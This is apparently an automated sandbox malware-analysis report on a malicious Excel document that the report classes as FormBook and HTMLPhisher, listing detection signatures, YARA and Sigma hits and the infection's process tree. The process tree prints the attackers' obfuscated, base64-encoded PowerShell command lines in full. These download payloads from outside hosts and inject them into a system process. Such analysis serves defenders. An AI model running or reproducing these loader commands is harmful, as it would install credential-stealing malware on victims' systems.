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Windows
Analysis Report
PI-02911202409#.xla.xlsx
Overview
General Information
Detection
FormBook, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3280 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3600 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3752 cmdline:
"C:\Window s\system32 \cmd.exe" "/c pOwErS HelL.exE -ex BYpASS -NOp -w 1 -C dE VICeCreDEN tialDePLOY MENT ; iNV OkE-eXPREs SioN($(Inv OKE-EXpReS SiON('[syS tEM.TeXT.e NCODiNG]'+ [CHaR]0X3A +[chAr]0x3 A+'utf8.ge TstrINg([S YSTem.CoNv erT]'+[CHa r]0X3A+[Ch Ar]0x3A+'f RoMbASE64s TriNG('+[C hAr]34+'JF Fwa0tZNkUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ID0gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGFEZC 10WXBFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt bWVtQmVSZG VmaU5JdGlv biAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJ1tEbG xJbXBvcnQo InVyTG1vbi 5kTEwiLCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Q2hhclNldC A9IENoYXJT ZXQuVW5pY2 9kZSldcHVi bGljIHN0YX RpYyBleHRl cm4gSW50UH RyIFVSTERv d25sb2FkVG 9GaWxlKElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgSl F6LHN0cmlu ZyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgemMsc3 RyaW5nICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBU V2lKbWZpek csdWludCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg cE1qdXRlSy xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IGhHSWR3Zn gpOycgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1u YW1lICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAiYU FpTXpoIiAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LU5hTUVTcE FDZSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgSG1Q TWMgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1QYX NzVGhydTsg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICRRcGtLWT ZFOjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTcyLjI0 NS4xMjMuMT IvMzYxL3Nl ZW1lYmVzdH RoaW5nc2Vu dGlyZWxpZm VnaXZlbmJh Y2t3aXRoZ2 9vZC50SUYi LCIkZW52Ok FQUERBVEFc c2VlbWViZX N0dGhpbmdz ZW50aXJlbG lmZWdpdmVu YmFjLnZiUy IsMCwwKTtT VEFydC1zTE VFcCgzKTtJ aSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIiRFTl Y6QVBQREFU QVxzZWVtZW Jlc3R0aGlu Z3NlbnRpcm VsaWZlZ2l2 ZW5iYWMudm JTIg=='+[c haR]34+')) ')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3780 cmdline:
pOwErSHelL .exE -ex BYpASS -NOp -w 1 -C dEVIC eCreDENtia lDePLOYMEN T ; iNVOkE -eXPREsSio N($(InvOKE -EXpReSSiO N('[syStEM .TeXT.eNCO DiNG]'+[CH aR]0X3A+[c hAr]0x3A+' utf8.geTst rINg([SYST em.CoNverT ]'+[CHar]0 X3A+[ChAr] 0x3A+'fRoM bASE64sTri NG('+[ChAr ]34+'JFFwa 0tZNkUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgID0 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGFEZC10W XBFICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtbWV tQmVSZGVma U5JdGlvbiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gJ1tEbGxJb XBvcnQoInV yTG1vbi5kT EwiLCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgQ2h hclNldCA9I ENoYXJTZXQ uVW5pY29kZ SldcHVibGl jIHN0YXRpY yBleHRlcm4 gSW50UHRyI FVSTERvd25 sb2FkVG9Ga WxlKEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgSlF6L HN0cmluZyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gemMsc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBUV2l KbWZpekcsd WludCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgcE1 qdXRlSyxJb nRQdHIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGh HSWR3ZngpO ycgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1uYW1 lICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiYUFpT XpoIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 hTUVTcEFDZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgSG1QTWM gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1QYXNzV GhydTsgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICR RcGtLWTZFO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TcyLjI0NS4 xMjMuMTIvM zYxL3NlZW1 lYmVzdHRoa W5nc2VudGl yZWxpZmVna XZlbmJhY2t 3aXRoZ29vZ C50SUYiLCI kZW52OkFQU ERBVEFcc2V lbWViZXN0d GhpbmdzZW5 0aXJlbGlmZ WdpdmVuYmF jLnZiUyIsM CwwKTtTVEF ydC1zTEVFc CgzKTtJaSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIiRFTlY6Q VBQREFUQVx zZWVtZWJlc 3R0aGluZ3N lbnRpcmVsa WZlZ2l2ZW5 iYWMudmJTI g=='+[chaR ]34+'))')) )" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3888 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\akgili wf\akgiliw f.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3896 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES2DE4.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\akg iliwf\CSC1 07B8B87724 F4FE1A74D2 8EF2C06A4. TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3980 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeme bestthings entirelife givenbac.v bS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 4024 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $alastrar = 'JGVzdHJ lbGVqYXIgP SAnaHR0cHM 6Ly8xMDE2L mZpbGVtYWl sLmNvbS9hc GkvZmlsZS9 nZXQ/ZmlsZ WtleT1IVFV HX0V5cnVEU jBPQVpIMEh ISnllcFVyW FN2Rl9pNmo 4YndlVGVXQ kN1MTl4Y2J qUU41VGtzY TRPRzBNcWN jcVdOTGxnJ nBrX3ZpZD1 lMDEwOTYzO GM5YmZiOTU 3MTczMjc5N DM1NmExZmY 2YyAnOyRhb WJpZ3VpZGF kZSA9IE5ld y1PYmplY3Q gU3lzdGVtL k5ldC5XZWJ DbGllbnQ7J GVudHJhZGF uaGEgPSAkY W1iaWd1aWR hZGUuRG93b mxvYWREYXR hKCRlc3RyZ WxlamFyKTs kYm9ybmVjb yA9IFtTeXN 0ZW0uVGV4d C5FbmNvZGl uZ106OlVUR jguR2V0U3R yaW5nKCRlb nRyYWRhbmh hKTskbGlxd WlkaWZpY2F yID0gJzw8Q kFTRTY0X1N UQVJUPj4nO yRwaW50b3J hID0gJzw8Q kFTRTY0X0V ORD4+JzskY 2hvdXZpciA 9ICRib3JuZ WNvLkluZGV 4T2YoJGxpc XVpZGlmaWN hcik7JGltb WVyZ2lyID0 gJGJvcm5lY 28uSW5kZXh PZigkcGlud G9yYSk7JGN ob3V2aXIgL WdlIDAgLWF uZCAkaW1tZ XJnaXIgLWd 0ICRjaG91d mlyOyRjaG9 1dmlyICs9I CRsaXF1aWR pZmljYXIuT GVuZ3RoOyR mcnV0aWZpY 2FyID0gJGl tbWVyZ2lyI C0gJGNob3V 2aXI7JGJ1c 3NvbGNvID0 gJGJvcm5lY 28uU3Vic3R yaW5nKCRja G91dmlyLCA kZnJ1dGlma WNhcik7JHF 1aW5pY2EgP SAtam9pbiA oJGJ1c3Nvb GNvLlRvQ2h hckFycmF5K CkgfCBGb3J FYWNoLU9ia mVjdCB7ICR fIH0pWy0xL i4tKCRidXN zb2xjby5MZ W5ndGgpXTs kYmVpcmFtZ SA9IFtTeXN 0ZW0uQ29ud mVydF06OkZ yb21CYXNlN jRTdHJpbmc oJHF1aW5pY 2EpOyRzYWl kb3IgPSBbU 3lzdGVtLlJ lZmxlY3Rpb 24uQXNzZW1 ibHldOjpMb 2FkKCRiZWl yYW1lKTskZ W5nb3JkdXJ hciA9IFtkb mxpYi5JTy5 Ib21lXS5HZ XRNZXRob2Q oJ1ZBSScpO yRlbmdvcmR 1cmFyLklud m9rZSgkbnV sbCwgQCgnd Hh0LkFSRU5 MRVQvMTYzL zIxLjMyMS4 1NDIuMjcxL y86cHR0aCc sICckZGFkY W5lJywgJyR kYWRhbmUnL CAnJGRhZGF uZScsICdhc 3BuZXRfY29 tcGlsZXInL CAnJGRhZGF uZScsICckZ GFkYW5lJyw nJGRhZGFuZ ScsJyRkYWR hbmUnLCckZ GFkYW5lJyw nJGRhZGFuZ ScsJyRkYWR hbmUnLCcxJ ywnJGRhZGF uZScpKTs=' ;$morfose = [System. Text.Encod ing]::UTF8 .GetString ([System.C onvert]::F romBase64S tring($ala strar));In voke-Expre ssion $mor fose MD5: A575A7610E5F003CC36DF39E07C4BA7D) - aspnet_compiler.exe (PID: 2144 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: A1CC6D0A95AA5C113FA52BEA08847010)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
Click to see the 1 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
|
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |